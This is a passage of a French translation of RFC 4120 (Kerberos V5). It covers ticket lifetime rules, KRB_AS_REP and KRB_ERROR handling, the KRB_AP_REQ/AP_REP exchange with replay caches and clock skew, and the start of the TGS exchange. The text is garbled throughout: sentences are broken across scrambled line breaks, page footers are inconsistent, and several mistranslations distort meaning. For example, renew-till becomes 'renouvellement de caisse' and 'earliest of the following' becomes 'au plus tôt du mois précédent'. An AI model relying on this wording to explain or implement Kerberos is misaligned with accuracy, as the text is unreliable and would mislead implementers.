indique une heure future au-delà du décalage d'horloge acceptable, mais
l'option POSTDATED n'a pas été spécifiée, alors l'erreur
KDC_ERR_CANNOT_POSTDATE est renvoyé. Sinon le demandé
starttime est comparé à la politique du royaume local (le
l'administrateur peut décider d'interdire certains types ou gammes de
billets postdatés), et si l’heure de début du billet est acceptable, il
est défini comme demandé et l'indicateur INVALID est défini dans le
nouveau ticket.
Le billet postdaté DOIT être validé avant utilisation en le présentant
au
le KDC une fois l'heure de début atteinte.

L’heure d’expiration du ticket sera réglée au plus tôt du mois

précédent.
heure de fin demandée et une heure déterminée par la politique locale,
éventuellement par
en utilisant des facteurs spécifiques au domaine ou au principal. Par
exemple, le
le délai d'expiration PEUT être réglé à la première des éventualités
suivantes:

* L'heure d'expiration (endtime) demandée dans le KRB_AS_REQ

message.

* Heure de début du ticket plus la durée de vie maximale autorisée

associé au client principal de l'authentification
base de données du serveur.

* Heure de début du ticket plus la durée de vie maximale autorisée

associé au principal du serveur.
 * L'heure de début du ticket plus la durée de vie maximale définie
par le
politique du domaine local.

Si l'heure d'expiration demandée moins l'heure de début (telle que

déterminée
ci-dessus) est inférieure à la durée de vie minimale déterminée par le
site, une erreur
message avec le code KDC_ERR_NEVER_VALID est renvoyé. Si le demandé
le délai d'expiration du ticket dépasse ce qui a été déterminé ci-
dessus,
et si l'option 'RENOUVELABLE - OK' a été demandée, le 'RENOUVELABLE'

Neuman et al. Normes Track [Page 26]

RFC 4120 Kerberos V5 juillet 2005

le drapeau est défini dans le nouveau ticket, et la valeur de

renouvellement de caisse est définie comme si
l'option 'RENOUVELABLE' a été demandée (les noms de champs et d'option
sont
décrit en détail à la section 5.4.1).

Si l'option RENOUVELABLE a été demandée ou si RENEWABLE-OK

L’option a été définie et un ticket renouvelable doit être émis, puis le
le champ de renouvellement de sol PEUT être réglé à la première des
dates suivantes:

* Sa valeur demandée.

* L'heure de début du billet plus le minimum des deux maximum

Durée de vie renouvelable associée à la base de données des
mandants
les entrées.

* L'heure de début du billet plus la durée de vie maximale

renouvelable
fixé par la politique du royaume local.

Le champ de drapeaux du nouveau ticket aura les options suivantes

définies
si elles ont été demandées et si la politique du royaume local
permet: FORWARDABLE, PEUT-POSTDATE, POSTDATED, PROXIABLE, RENEWABLE.
Si le nouveau ticket est postdaté (l'heure de début est dans le futur),
son
Le drapeau INVALID sera également défini.

Si tout ce qui précède réussit, le serveur chiffrera le texte chiffré.

partie du ticket utilisant la clé de cryptage extraite du serveur
Enregistrement du principal dans la base de données Kerberos en
utilisant le type de cryptage
associé à la clé du principal du serveur. (Ce choix n'est pas
affecté par le champ etype dans la requête.) Il formate ensuite un
Message KRB_AS_REP (voir la section 5.4.2), en copiant les adresses du
demande dans le dossier de la réponse, en plaçant toutes les
données d’authentification dans le padata de la réponse, et chiffre le
partie de texte chiffré dans la clé du client en utilisant un cryptage
acceptable
 méthode demandée dans le champ etype de la demande, ou dans une clé
spécifié par les mécanismes de pré-authentification utilisés.

3.1.4. Génération du message KRB_ERROR

Plusieurs erreurs peuvent se produire et le serveur d'authentification

répond par
renvoyer un message d'erreur, KRB_ERROR, au client, avec le
code d'erreur et champs de texte électronique définis sur les valeurs
appropriées. L'erreur
le contenu et les détails du message sont décrits à la Section 5.9.1.

3.1.5. Réception du message KRB_AS_REP

Si le type de message de réponse est KRB_AS_REP, le client vérifie

que les champs cname et crealm dans la partie en texte clair de la
répondre correspond à ce qu'il a demandé. Si des champs padata sont
présents,
ils peuvent être utilisés pour obtenir la clé secrète appropriée pour
décrypter la

Neuman et al. Piste de normes [Page 27]

RFC 4120 Kerberos V5 juillet 2005

message. Le client déchiffre la partie chiffrée de la réponse

en utilisant sa clé secrète et vérifie que le nonce dans le crypté
partie correspond au nonce fourni dans sa demande (détecter
replays). Il vérifie également que le nom et le domaine dans la réponse
correspondre à ceux de la demande (ou sont des valeurs attendues par
ailleurs), et
que le champ d'adresse de l'hôte est également correct. Il stocke
ensuite le
ticket, clé de session, heures de début et d'expiration, et autres
informations pour une utilisation ultérieure. Le champ last-req (et le
champ obsolète
champ d'expiration de clé) de la partie chiffrée de la réponse PEUT être
coché pour avertir l'utilisateur de l'expiration imminente de la clé.
Cela permet
le programme client pour suggérer une action corrective, telle qu'un mot
de passe
changement.

Lors de la validation du message KRB_AS_REP (en vérifiant le message

renvoyé)
nonce contre celui envoyé dans le message KRB_AS_REQ), le client sait
que l'heure actuelle sur le KDC est celle lue dans le champ authtime
de la partie cryptée de la réponse. Le client peut éventuellement
utiliser
cette valeur pour la synchronisation d'horloge dans les messages
suivants par
enregistrer avec le ticket la différence (décalage) entre le
valeur authtime et l'horloge locale. Ce décalage peut ensuite être
utilisé par
même utilisateur pour régler le temps lu par l’horloge système lorsque
générer des messages [DGT96].
 Cette technique DOIT être utilisée lors du réglage du décalage d’horloge
au lieu de
changer directement l'horloge système, car la réponse du KDC est
seulement
authentifié auprès de l'utilisateur dont la clé secrète a été utilisée,
mais pas auprès du
système ou poste de travail. Si l'horloge était ajustée, un attaquant
collusion avec un utilisateur se connectant à un poste de travail
pourrait convenir d'un
mot de passe, ce qui entraîne une réponse du KDC correctement validée
bien qu’il ne provienne pas d’un KDC de confiance par le
poste de travail.

Le déchiffrement correct du message KRB_AS_REP n'est pas suffisant pour

la
hôte pour vérifier l'identité de l'utilisateur; l'utilisateur et un
attaquant
pourrait coopérer pour générer un message au format KRB_AS_REP qui
décrypte
correctement mais ne provient pas du bon KDC. Si l'hôte souhaite
vérifier l'identité de l'utilisateur, il DOIT obliger l'utilisateur à
présenter
les informations d'identification de l'application qui peuvent être
vérifiées à l'aide d'un
clé secrète pour l'hôte. Si ces informations d'identification peuvent
être vérifiées, alors
l'identité de l'utilisateur peut être assurée.

3.1.6. Réception du message KRB_ERROR

Si le type de message de réponse est KRB_ERROR, le client l'interprète.

comme une erreur et effectue toutes les tâches spécifiques à
l'application
nécessaire pour la récupération.

Neuman et al. Standards Track [Page 28]

RFC 4120 Kerberos V5 juillet 2005

3.2. L'échange d'authentification client / serveur

Résumé

Direction du message Type de message Section

Client vers serveur d'application KRB_AP_REQ 5.5.1
[facultatif] Serveur d'application sur le client KRB_AP_REP ou 5.5.2
KRB_ERROR 5.9.1

L’échange d’authentification client / serveur (CS) est utilisé par le

réseau
des applications pour authentifier le client auprès du serveur et
inversement.
Le client DOIT avoir déjà acquis les informations d'identification pour
le serveur
en utilisant l'échange AS ou TGS.
3.2.1. Le message KRB_AP_REQ

KRB_AP_REQ contient des informations d'authentification qui DEVRAIENT

être
partie du premier message dans une transaction authentifiée. Il
contient un ticket, un authentificateur et quelques livres
supplémentaires
informations (voir Section 5.5.1 pour le format exact). Le billet par
lui-même est insuffisant pour authentifier un client, car les tickets
sont
transmis en texte clair sur le réseau (les tickets contiennent à la fois
une
partie cryptée et non cryptée, donc cleartext se réfère ici à la
unité entière, qui peut être copiée à partir d’un message et rejouée
dans
un autre sans aucune compétence cryptographique). L'authentificateur est
utilisé
pour empêcher la relecture non valide de tickets en prouvant au serveur
que
le client connaît la clé de session du ticket et a donc le droit
utiliser le billet. Le message KRB_AP_REQ est référencé ailleurs
comme "en-tête d'authentification".

3.2.2. Génération d'un message KRB_AP_REQ

Lorsqu'un client souhaite initier l'authentification sur un serveur, il

obtient (soit par le biais d’un cache d’identifiants, de l’échange AS ou
du
Échange TGS) un ticket et une clé de session pour le service souhaité.
le
le client PEUT réutiliser tous les billets qu'il détient jusqu'à leur
expiration. Pour utiliser un
ticket, le client construit un nouvel authentificateur à partir du
système
temps et son nom, et éventuellement à partir d'une application
spécifique
checksum, un numéro de séquence initial à utiliser dans KRB_SAFE ou
Messages KRB_PRIV et / ou une sous-clé de session à utiliser lors des
négociations
pour une clé de session unique à cette session particulière.
Authentificateurs
NE DOIT PAS être réutilisé et DEVRAIT être rejeté si rejoué sur un
serveur.
Notez que cela peut rendre les applications basées sur des transports
non fiables
difficile à coder correctement. Si le transport peut livrer
messages en double, soit un nouvel authentifiant DOIT être généré pour
chaque nouvelle tentative, ou le serveur d'applications DOIT
correspondre aux demandes et aux réponses
et rejouer la première réponse en réponse à une copie détectée.

Neuman et al. La voie des normes [Page 29]

RFC 4120 Kerberos V5 juillet 2005

Si un numéro de séquence doit être inclus, il DEVRAIT être choisi au

hasard.
 de sorte que même après l'échange de nombreux messages, il est peu
probable
d'entrer en collision avec d'autres numéros de séquence en cours
d'utilisation.

Le client PEUT indiquer une exigence d'authentification mutuelle ou la

utilisation d'un ticket basé sur une clé de session (pour
l'authentification d'utilisateur à utilisateur,
voir section 3.7) en plaçant le ou les drapeaux appropriés dans les ap-
options
champ du message.

L’authentificateur est chiffré dans la clé de session et associé à

le ticket pour former le message KRB_AP_REQ, qui est ensuite envoyé au
serveur final avec toute application supplémentaire spécifique à
l’application
information.

3.2.3. Réception du message KRB_AP_REQ

L’authentification est basée sur l’heure actuelle du serveur (horloges

DOIT être vaguement synchronisé), l'authentificateur et le ticket.
Plusieurs erreurs sont possibles. Si une erreur se produit, le serveur
est
devrait répondre au client avec un message KRB_ERROR. Ce
message PEUT être encapsulé dans le protocole d'application si sa valeur
brute
la forme n'est pas acceptable pour le protocole. Le format des messages
d'erreur
est décrit à la section 5.9.1.

L'algorithme de vérification des informations d'authentification est le

suivant.
Si le type de message n’est pas KRB_AP_REQ, le serveur renvoie le
Erreur KRB_AP_ERR_MSG_TYPE. Si la version de clé indiquée par le
Le ticket dans KRB_AP_REQ n’est pas celui que le serveur peut utiliser
(par exemple, il
indique une ancienne clé et le serveur ne possède plus une copie de
l'ancienne clé), l'erreur KRB_AP_ERR_BADKEYVER est renvoyée. Si la
USE-SESSION-KEY est défini dans le champ ap-options, il indique à
le serveur que l’authentification d’utilisateur à utilisateur est
utilisée et que le
le ticket est chiffré dans la clé de session du TGT du serveur plutôt
que dans la clé secrète du serveur. Voir la section 3.7 pour plus de
détails.
description de l'effet de l'authentification d'utilisateur à utilisateur
sur tous
messages dans le protocole Kerberos.

Comme il est possible que le serveur soit enregistré dans plusieurs

royaumes, avec des clés différentes dans chacun, le champ srealm dans le
partie non chiffrée du ticket dans le KRB_AP_REQ est utilisée pour
spécifier quelle clé secrète le serveur doit utiliser pour déchiffrer
cette
billet. Le code d'erreur KRB_AP_ERR_NOKEY est renvoyé si le serveur
n'a pas la clé appropriée pour déchiffrer le ticket.

Le ticket est déchiffré à l'aide de la version de la clé du serveur

spécifié par le billet. Si les routines de déchiffrement détectent une
modification du ticket (chaque système de cryptage DOIT fournir
pour détecter un texte chiffré modifié), le
Neuman et al. Norme Track [Page 30]

RFC 4120 Kerberos V5 juillet 2005

L'erreur KRB_AP_ERR_BAD_INTEGRITY est renvoyée (il y a de bonnes chances

que
différentes clés ont été utilisées pour chiffrer et déchiffrer).

L’authentificateur est déchiffré à l’aide de la clé de session extraite

de
le billet déchiffré. Si le déchiffrement montre qu'il a été modifié,
l'erreur KRB_AP_ERR_BAD_INTEGRITY est renvoyée. Le nom et le royaume
du client du ticket sont comparés aux mêmes champs dans
l'authentificateur. S'ils ne correspondent pas, le KRB_AP_ERR_BADMATCH
l'erreur est renvoyée; normalement, cela est causé par une erreur du
client ou un
tentative d'attaque. Les adresses du ticket (le cas échéant) sont alors
recherché une adresse correspondant au système d'exploitation signalé
adresse du client. Si aucune correspondance n'est trouvée ou si le
serveur insiste sur
adresse du billet mais aucune n’est présente dans le billet, le
L'erreur KRB_AP_ERR_BADADDR est renvoyée. Si l'heure locale (serveur) et
le temps client dans l'authentificateur diffère de plus que le
décalage d'horloge autorisé (par exemple, 5 minutes), l'erreur
KRB_AP_ERR_SKEW est
revenu.

Sauf si le serveur d’application fournit ses propres moyens pour

protéger contre le rejeu (par exemple, une séquence défi-réponse
lancé par le serveur après l’authentification ou l’utilisation d’un
serveur
clé de chiffrement générée), le serveur DOIT utiliser un cache de
relecture
se souvenir de tout authentificateur présenté dans l'horloge permise
fausser. Analyse minutieuse du protocole d'application et
l'implémentation est recommandée avant d'éliminer ce cache. le
Le cache de relecture stockera au moins le nom du serveur, ainsi que le
le nom du client, l’heure et les champs en microsecondes du dernier
aperçu
authentificateurs, et si un tuple correspondant est trouvé, le
L'erreur KRB_AP_ERR_REPEAT est renvoyée. Notez que le rejet ici est
limité aux authentifiants du même commettant au même
serveur. Autres principaux clients communiquant avec le même serveur
mandants ne devraient pas voir leurs authentificateurs rejetés si le
temps
et les champs de microseconde arrivent à correspondre à un autre client
authentifiant.

Si un serveur perd la trace des authentifiants présentés dans le

décalage d'horloge admissible, il DOIT rejeter toutes les demandes
jusqu'à l'horloge
intervalle asymétrique s'est écoulé, ce qui garantit que toute perte ou
perte
les authentificateurs rejoués tomberont en dehors du décalage d'horloge
autorisé
et ne peut plus être rejoué avec succès. Si cela n'était pas fait,
 un attaquant pourrait altérer l'authentification en enregistrant le
ticket
et authentificateur envoyé sur le réseau à un serveur et rejoué
les suite à un événement qui a fait que le serveur a perdu la trace de
authentificateurs récemment vus.

Note d’implémentation: Si un client génère plusieurs demandes à la

KDC avec le même horodatage, y compris le champ microseconde, tous sauf
la première des demandes reçues sera rejetée comme reprise. Ce

Neuman et al. Norme Track [Page 31]

RFC 4120 Kerberos V5 juillet 2005

peut se produire, par exemple, si la résolution de l'horloge du client

est
trop grossier. Les implémentations client DEVRAIENT s’assurer que les
horodatages
ne sont pas réutilisés, éventuellement en incrémentant le champ
microsecondes dans
l'horodatage lorsque l'horloge renvoie la même heure pour plusieurs
demandes.

Si plusieurs serveurs (par exemple, différents services sur une même

machine,
ou un service unique implémenté sur plusieurs machines) partage un
service
principal (pratique que nous ne recommandons pas en général, mais que
nous reconnaissons qu’ils seront utilisés dans certains cas), soit ils
DOIVENT partager
ce cache de relecture, ou le protocole de l'application DOIT être conçu
de manière à
pour en éliminer le besoin. Notez que cela s’applique à tous les
prestations de service. Si l'un des protocoles d'application n'a pas de
relecture
protection intégrée, un authentifiant utilisé avec un tel service
pourrait
plus tard, être rejoué sur un autre service avec le même service
protection principale mais pas de réexécution, si le premier
n'enregistre pas
informations d'authentificateur dans le cache de relecture commun.

Si un numéro de séquence est fourni dans l'authentificateur, le serveur

l'enregistre pour une utilisation ultérieure dans le traitement de
KRB_SAFE et / ou KRB_PRIV
messages. Si une sous-clé est présente, le serveur l’enregistre pour
utiliser plus tard ou l’utilise pour générer son propre choix de sous-
clé
être renvoyé dans un message KRB_AP_REP.

Le serveur calcule l'âge du ticket: heure locale (serveur) moins

l'heure de début à l'intérieur du billet. Si l'heure de début est
postérieure à la
l’heure actuelle de plus que l’horloge autorisée, ou si INVALID
Si le drapeau est défini dans le ticket, l’erreur KRB_AP_ERR_TKT_NYV est
renvoyée.
Sinon, si l'heure actuelle est postérieure à l'heure de fin de plus de
le décalage d'horloge autorisé, l'erreur KRB_AP_ERR_TKT_EXPIRED est
 revenu.

Si toutes ces vérifications réussissent sans erreur, le serveur est

assuré
que le client possède les informations d'identification du mandant nommé
dans
le ticket, et donc, que le client a été authentifié auprès du
destinataire
serveur.

Passer ces vérifications ne fournit que l’authentification du nom de

principal; cela n'implique pas l'autorisation d'utiliser le service
nommé.
Les applications DOIVENT prendre une décision d’autorisation séparée sur
la base
le nom authentifié de l'utilisateur, l'opération demandée, local
informations de contrôle d'accès telles que celles contenues dans un
fichier .k5login ou
Fichier .k5users, et éventuellement une autorisation distribuée
distincte
un service.

Neuman et al. Voie des normes [Page 32]

RFC 4120 Kerberos V5 juillet 2005

3.2.4. Génération d'un message KRB_AP_REP

En règle générale, la demande d’un client inclut à la fois

l’authentification
informations et sa demande initiale dans le même message, et le
Le serveur n'a pas besoin de répondre explicitement à KRB_AP_REQ.
Toutefois, si
authentification mutuelle (authentifiant non seulement le client auprès
du
serveur, mais aussi le serveur au client) est en cours d'exécution, le
Le message KRB_AP_REQ aura MUTUAL-REQUIRED défini dans ses ap-options
champ, et un message KRB_AP_REP est requis en réponse. Comme avec le
message d'erreur, ce message PEUT être encapsulé dans l'application
protocole si sa forme "brute" n'est pas acceptable pour l'application
protocole. Le champ d'horodatage et de microseconde utilisé dans la
réponse DOIT
être le champ d'horodatage et de microseconde du client (comme indiqué
dans le
authentificateur). Si un numéro de séquence doit être inclus, il DEVRAIT
être
choisis au hasard comme décrit ci-dessus pour l'authentificateur. Une
sous-clé
PEUT être inclus si le serveur désire négocier un autre
sous-clé. Le message KRB_AP_REP est chiffré dans la clé de session
extrait du billet.

Notez que dans le protocole Kerberos version 4, l’horodatage de la

 La réponse était l'horodatage du client plus un. Ce n'est pas nécessaire
dans
Version 5 car les messages de la version 5 sont formatés de manière à ce
que
il n'est pas possible de créer la réponse par une opération de
messagerie judicieuse
(même sous forme cryptée) sans connaître le nom de domaine approprié
clés de chiffrement.

3.2.5. Réception du message KRB_AP_REP

Si un message KRB_AP_REP est renvoyé, le client utilise la clé de

session.
à partir des informations d'identification obtenues pour le serveur pour
décrypter le message
et vérifie que les champs d'horodatage et de microseconde correspondent
à ceux de
l'authentificateur envoyé au serveur. S'ils correspondent, alors le
le client est assuré que le serveur est authentique. Le numéro de
séquence
et la sous-clé (si présente) est conservée pour une utilisation
ultérieure. (Notez que pour
chiffrant le message KRB_AP_REP, la clé de sous-session n'est pas
utilisée,
même s'il est présent dans l'authentification.)

3.2.6. Utilisation de la clé de cryptage

Après l’échange KRB_AP_REQ / KRB_AP_REP, le client et

serveur partage une clé de cryptage qui peut être utilisée par
l'application.
Dans certains cas, l’utilisation de cette clé de session sera implicite
dans
protocole; dans d’autres, le mode d’utilisation doit être choisi parmi
plusieurs
des alternatives. L'application PEUT choisir la clé de chiffrement
réelle
à utiliser pour KRB_PRIV, KRB_SAFE ou d'autres utilisations spécifiques
à l'application
en fonction de la clé de session du ticket et des sous-clés du
Message KRB_AP_REP et l’authentificateur. Mise en œuvre de la
protocole PEUT fournir des routines pour choisir les sous-clés en
fonction des clés de session

Neuman et al. Voie des normes [Page 33]

RFC 4120 Kerberos V5 juillet 2005

et des nombres aléatoires et pour générer une clé négociée à retourner

dans
le message KRB_AP_REP.

Pour atténuer l’effet des échecs de la génération de nombres aléatoires

sur le
client, il est vivement recommandé que toute clé obtenue par un
demande d'utilisation ultérieure comprend l'entropie complète de la clé
dérivée
 à partir de la clé de session générée par KDC portée dans le ticket.
Nous partons
les négociations de protocole sur l’utilisation de la clé (par exemple,
pour sélectionner
type de chiffrement ou de somme de contrôle) au programmeur de
l’application. le
Le protocole Kerberos ne contraint pas les options d'implémentation,
mais
Voici un exemple de la façon dont cela pourrait être fait.

Une façon pour une application de choisir de négocier une clé à utiliser
pour l'intégrité ultérieure et la protection de la vie privée est pour
le client
propose une clé dans le champ de sous-clé de l'authentificateur. Le
serveur
peut ensuite choisir une clé en utilisant la clé proposée par le client
en entrée,
renvoyer la nouvelle sous-clé dans le champ sous-clé de l'application
répondre. Cette clé pourrait ensuite être utilisée pour une
communication ultérieure.

Avec les échanges à authentification unidirectionnelle et mutuelle, les

pairs
Veillez à ne pas vous échanger d'informations sensibles
sans assurances appropriées. En particulier, les applications
nécessitant
la confidentialité ou l’intégrité DEVRAIT utiliser la réponse KRB_AP_REP
du
serveur au client pour assurer à la fois le client et le serveur de
leurs homologues
identité. Si un protocole d’application exige la confidentialité de ses
messages, il peut utiliser le message KRB_PRIV (section 3.5). le
Le message KRB_SAFE (Section 3.4) peut être utilisé pour assurer
l’intégrité.

3.3. L'échange de service d'octroi de ticket (TGS)

Résumé

Direction du message Type de message Section

1. Client vers Kerberos KRB_TGS_REQ 5.4.1
2. Kerberos au client KRB_TGS_REP ou 5.4.2
KRB_ERROR 5.9.1

L'échange de TGS entre un client et le TGS de Kerberos est lancé

par un client lorsqu'il cherche à obtenir des informations
d'authentification pour un
serveur donné (qui peut être enregistré dans un royaume distant), quand
il
cherche à renouveler ou valider un billet existant, ou quand il cherche
à
obtenir un ticket de procuration. Dans le premier cas, le client doit
déjà
avoir acquis un ticket pour le service d'attribution de ticket en
utilisant l'AS
échange (le TGT est généralement obtenu lorsqu'un client
s'authentifie auprès du système, par exemple lorsqu'un utilisateur se
connecte). le
Le format de message pour l’échange TGS est presque identique à celui de
l'échange AS. La principale différence est que le cryptage et
le décryptage dans l'échange TGS n'a pas lieu sous le client
Neuman et al. Normes Track [Page 34]

RFC 4120 Kerberos V5 juillet 2005

clé. Au lieu de cela, la clé de session du ticket TGT ou renouvelable,

ou
la clé de sous-session d'un authentificateur est utilisée. Comme c'est
le cas pour
tous les serveurs d'applications, les tickets expirés ne sont pas
acceptés par le TGS,
donc, une fois qu'un renouvelable ou TGT expire, le client doit utiliser
un
échange pour obtenir des billets valides.

L’échange TGS consiste en deux messages: une demande (KRB_TGS_REQ)

du client au serveur d'octroi de tickets Kerberos et une réponse
(KRB_TGS_REP ou KRB_ERROR). Le message KRB_TGS_REQ comprend
des informations authentifiant le client et une demande d'informations
d'identification.
Les informations d'authentification sont constituées de l'en-tête
d'authentification
(KRB_AP_REQ), qui comprend le client précédemment obtenu
billet octroyant, renouvelable ou invalide. Dans le TGT et le proxy
cas, la demande PEUT inclure un ou plusieurs des éléments suivants: une
liste
d'adresses réseau, une collection de données d'autorisation typées à
scellé dans le ticket pour une utilisation par le serveur
d'applications,
ou des billets supplémentaires (dont l'utilisation est décrite plus
loin). le
La réponse TGS (KRB_TGS_REP) contient les informations d'identification
demandées, chiffrées.
dans la clé de session du ticket TGT ou renouvelable, ou, le cas
échéant,
dans la clé de sous-session de l’authentificateur (partie de la
en-tête d'authentification). Le message KRB_ERROR contient un code
d'erreur
et un texte expliquant ce qui a mal tourné. Le message KRB_ERROR n'est
pas
crypté. Le message KRB_TGS_REP contient des informations pouvant être
utilisé pour détecter les replays et l’associer au message auquel
il répond. Le message KRB_ERROR contient également des informations
pouvant
être utilisé pour l'associer au message auquel il répond. le
mêmes commentaires sur la protection d'intégrité des messages KRB_ERROR
mentionnés à la section 3.1 s’appliquent à l’échange TGS.

3.3.1. Génération du message KRB_TGS_REQ

Avant d'envoyer une demande au service d'octroi de tickets, le client

DOIT déterminer dans quel domaine le serveur d’application est censé
être enregistré. Ceci peut être accompli de plusieurs manières. Ça
pourrait
être connu à l'avance (car le royaume fait partie du principal
identifiant), il peut être stocké dans un serveur de noms, ou
obtenu à partir d'un fichier de configuration. Si le domaine à utiliser
est
 obtenu à partir d'un serveur de noms, il y a danger d'être falsifié si
le
nameservice fournissant le nom de domaine n'est pas authentifié. Ce
pourrait conduire à l’utilisation d’un domaine compromis, ce qui
entraînerait la capacité d'un attaquant à compromettre la
authentification du serveur d'applications sur le client.

Si le client connaît le nom principal du service et son domaine et qu'il

le fait
ne possède pas déjà un TGT pour le domaine approprié, alors il faut être
obtenu. Ceci est d'abord tenté en demandant un TGT pour le
domaine de destination à partir d’un serveur Kerberos pour lequel le
client
possède un TGT (en utilisant le message KRB_TGS_REQ de manière
récursive). le

Neuman et al. Piste de normes [Page 35]

RFC 4120 Kerberos V5 juillet 2005

Le serveur Kerberos PEUT renvoyer un TGT pour le domaine souhaité,

auquel cas
on peut continuer. Sinon, le serveur Kerberos PEUT renvoyer un TGT
pour un royaume «plus proche» du royaume souhaité (plus loin dans le
chemin hiérarchique standard entre le royaume du client et le
domaine demandé du serveur du royaume). Notez que dans ce cas
mauvaise configuration des serveurs Kerberos peut provoquer des boucles
dans le
le chemin d’authentification résultant, que le client doit prendre soin
de
détecter et éviter.

Si le serveur Kerberos renvoie un TGT pour un royaume "plus proche" que

le
domaine souhaité, le client PEUT utiliser la configuration de politique
locale pour
vérifiez que le chemin d'authentification utilisé est acceptable.
Alternativement, un client PEUT choisir son propre chemin
d'authentification,
plutôt que de compter sur le serveur Kerberos pour en sélectionner un.
Dans les deux cas
cas, toute information de politique ou de configuration utilisée pour
choisir ou
valider les chemins d’authentification, que ce soit par le serveur
Kerberos ou par
le client, DOIT être obtenu à partir d'une source de confiance.

Lorsqu'un client obtient un TGT «plus proche» de la destination

royaume, le client PEUT mettre ce ticket en cache et le réutiliser
ultérieurement
Le KRB-TGS échange des services dans le domaine "plus proche".
Toutefois, si
le client devait obtenir un TGT pour le domaine «plus proche» en
commençant à
le KDC initial plutôt que dans le but d’obtenir un autre ticket, puis
un chemin plus court vers le «plus proche» royaume pourrait être
utilisé. Cette plus courte
 chemin peut être souhaitable, car moins de KDC intermédiaires sauraient
la
clé de session du ticket impliqué. Pour cette raison, les clients
DEVRAIENT
évaluer s'ils font confiance aux royaumes en transit pour obtenir le
ticket "plus proche" lorsque vous prenez la décision d'utiliser le
ticket à l'avenir.

Une fois que le client obtient un TGT pour le domaine approprié, il

détermine quels serveurs Kerberos desservent ce domaine et en contacte
un
d'eux. La liste peut être obtenue via un fichier de configuration ou
service réseau, ou il PEUT être généré à partir du nom du royaume.
Tant que les clés secrètes échangées par les royaumes sont gardées
secrètes, seulement
le déni de service résulte de l'utilisation d'un faux serveur Kerberos.

Comme dans l’échange AS, le client PEUT spécifier un nombre d’options

dans
le message KRB_TGS_REQ. Une de ces options est le ENC-TKT-IN-SKEY
option utilisée pour l'authentification d'utilisateur à utilisateur. Un
aperçu de l'utilisateur
L’authentification des utilisateurs se trouve à la section 3.7. Lors de
la génération
le message KRB_TGS_REQ, cette option indique que le client est
y compris un TGT obtenu du serveur d’application dans la
billets supplémentaires de la demande et que le KDC DEVRAIT
chiffrer le ticket pour le serveur d'applications à l'aide de la clé de
session
à partir de ce ticket supplémentaire, au lieu d’une clé de serveur du
base de données principale.

Neuman et al. Piste de normes [Page 36]

RFC 4120 Kerberos V5 juillet 2005

Le client prépare le message KRB_TGS_REQ en fournissant un

en-tête d'authentification en tant qu'élément du champ padata, et
comprenant les mêmes champs que ceux utilisés dans le message KRB_AS_REQ
avec plusieurs champs facultatifs: le champ enc-authorizatfion-data pour
utilisation du serveur d'applications et tickets supplémentaires requis
par certains
options.

Lors de la préparation de l’en-tête d’authentification, le client peut

sélectionner un sous-système.
clé de session sous laquelle la réponse du serveur Kerberos sera
crypté. Si le client sélectionne une clé de sous-session, le soin doit
être
prises pour assurer le caractère aléatoire de la clé de sous-session
sélectionnée.

Si la clé de sous-session n'est pas spécifiée, la clé de session du TGT

sera utilisé. Si enc-autorisation-data est présent, il DOIT être
chiffré dans la clé de sous-session, le cas échéant, de
l'authentificateur
 partie de l’en-tête d’authentification ou, s’il n’y en a pas, en
utilisant
la clé de session du TGT.

Une fois préparé, le message est envoyé à un serveur Kerberos pour la

royaume de destination.

3.3.2. Réception du message KRB_TGS_REQ

Le message KRB_TGS_REQ est traité de la même manière que le message

Message KRB_AS_REQ, mais de nombreuses vérifications supplémentaires
doivent être effectuées.
effectué. Tout d’abord, le serveur Kerberos DOIT déterminer quel serveur
le billet d'accompagnement est pour, et il DOIT choisir le bon
clé pour le déchiffrer. Pour un message KRB_TGS_REQ normal, ce sera pour
le service d’attribution de billets et la clé du TGS sera utilisée. Si
la
TGT a été émis par un autre royaume, puis la clé inter-royaume
appropriée
Doit être utilisé. Si (a) le billet d'accompagnement n'est pas un TGT
pour le
royaume actuel, mais est pour un serveur d'application dans le royaume
actuel,
(b) les options RENEW, VALIDATE ou PROXY sont spécifiées dans le
demande, et (c) le serveur pour lequel un ticket est demandé est le
serveur
serveur nommé dans le ticket d'accompagnement, le KDC décrypte
le ticket dans l'en-tête d'authentification en utilisant la clé du
serveur
pour lequel il a été publié. Si aucun billet ne peut être trouvé dans la
padata
champ, l'erreur KDC_ERR_PADATA_TYPE_NOSUPP est renvoyée.

Une fois le ticket d'accompagnement décrypté, le système fourni par

l'utilisateur
la somme de contrôle dans l'authentificateur DOIT être vérifiée par
rapport au contenu
de la demande, et le message DOIT être rejeté si les sommes de contrôle
ne
ne correspond pas (avec un code d'erreur de KRB_AP_ERR_MODIFIED) ou si
le
La somme de contrôle n'est pas à l'abri de la collision (avec un code
d'erreur de
KRB_AP_ERR_INAPP_CKSUM). Si le type de somme de contrôle n'est pas pris
en charge, le
L'erreur KDC_ERR_SUMTYPE_NOSUPP est renvoyée. Si les données
d'autorisation
sont présents, ils sont décryptés à l'aide de la clé de sous-session du
Authentificateur

Neuman et al. Norme Track [Page 37]

RFC 4120 Kerberos V5 juillet 2005

Si l’un des décryptages indique un échec des contrôles d’intégrité, le

L'erreur KRB_AP_ERR_BAD_INTEGRITY est renvoyée.
 Comme indiqué à la section 3.1.2, le KDC DOIT envoyer un message
KRB_TGS_REP valide.
message s'il reçoit un message KRB_TGS_REQ identique à celui qu'il a
récemment traité. Cependant, si l'authentificateur est une répétition,
mais
le reste de la demande n'est pas identique, le KDC DEVRAIT renvoyer
KRB_AP_ERR_REPEAT.

3.3.3. Génération du message KRB_TGS_REP

Le message KRB_TGS_REP partage son format avec le KRB_AS_REP

(KRB_KDC_REP), mais avec son champ de type défini sur KRB_TGS_REP. le
les spécifications détaillées figurent à la section 5.4.2.

La réponse comprendra un ticket pour le serveur demandé ou pour un

serveur d'octroi de tickets d'un KDC intermédiaire à contacter pour
obtenir le billet demandé. La base de données Kerberos est interrogée
sur
récupérer l'enregistrement pour le serveur approprié (y compris la clé)
avec lequel le ticket sera crypté). Si la demande concerne un
TGT pour un royaume distant, et si aucune clé n'est partagée avec le
serveur demandé
royaume, le serveur Kerberos sélectionnera le royaume le plus proche de
le domaine demandé avec lequel il partage une clé et utilise ce domaine
au lieu. C’est le seul cas où la réponse pour le KDC sera
être pour un serveur différent de celui demandé par le client.

Par défaut, le champ adresse, le nom et le domaine du client, la liste

des royaumes en transit, le temps de l’authentification initiale, la
délai d'expiration, ainsi que les données d'autorisation du nouveau
ticket sera copié du ticket TGT ou renouvelable. Si la
Le champ en transit doit être mis à jour, mais le type en transit n'est
pas
prise en charge, l’erreur KDC_ERR_TRTYPE_NOSUPP est renvoyée.

